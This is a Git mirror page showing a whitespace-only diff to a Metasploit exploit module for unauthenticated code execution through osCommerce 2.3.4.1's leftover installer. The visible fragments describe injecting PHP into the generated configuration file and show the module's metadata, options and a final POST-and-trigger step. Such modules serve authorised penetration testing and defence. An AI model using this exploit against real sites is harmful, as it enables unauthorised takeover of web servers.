infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update oscommerce_installer_unauth_code_exec.rb

GSoC/Meterpreter_Web_Console
Daniel Teixeira 2018-04-06 13:05:40 +01:00 committed by GitHub
parent 09bbbf82ba
commit 6698f1b64b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 11 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
modules/exploits/multi/http/oscommerce_installer_unauth_code_exec.rb
View File

@ -12,10 +12,10 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info, super(update_info(info,
'Name' => 'osCommerce Installer Unauthenticated Code Execution', 'Name' => 'osCommerce Installer Unauthenticated Code Execution',
'Description' => %q{ 'Description' => %q{
If the /install/ directory was not removed, it is possible for an unauthenticated If the /install/ directory was not removed, it is possible for an unauthenticated
attacker to run the "install_4.php" script, which will create the configuration attacker to run the "install_4.php" script, which will create the configuration
file for the installation. This allows the attacker to inject PHP code into the file for the installation. This allows the attacker to inject PHP code into the
configuration file and execute it. configuration file and execute it.
}, },
'Author' => [ 'Author' => [
'Simon Scannell', # Original exploit author 'Simon Scannell', # Original exploit author
@ -34,15 +34,15 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => ['php'], 'Platform' => ['php'],
'Arch' => ARCH_PHP, 'Arch' => ARCH_PHP,
'Targets' => 'Targets' =>
[ [
[ 'osCommerce 2.3.4.1', { } ], [ 'osCommerce 2.3.4.1', { } ],
], ],
'DisclosureDate' => 'Apr 30 2018', 'DisclosureDate' => 'Apr 30 2018',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options( register_options(
[ [
OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/']) OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
]) ])
end end
def check def check
@ -80,6 +80,6 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST', 'method' => 'POST',
'vars_post' => data 'vars_post' => data
}) })
trigger trigger
end end
end end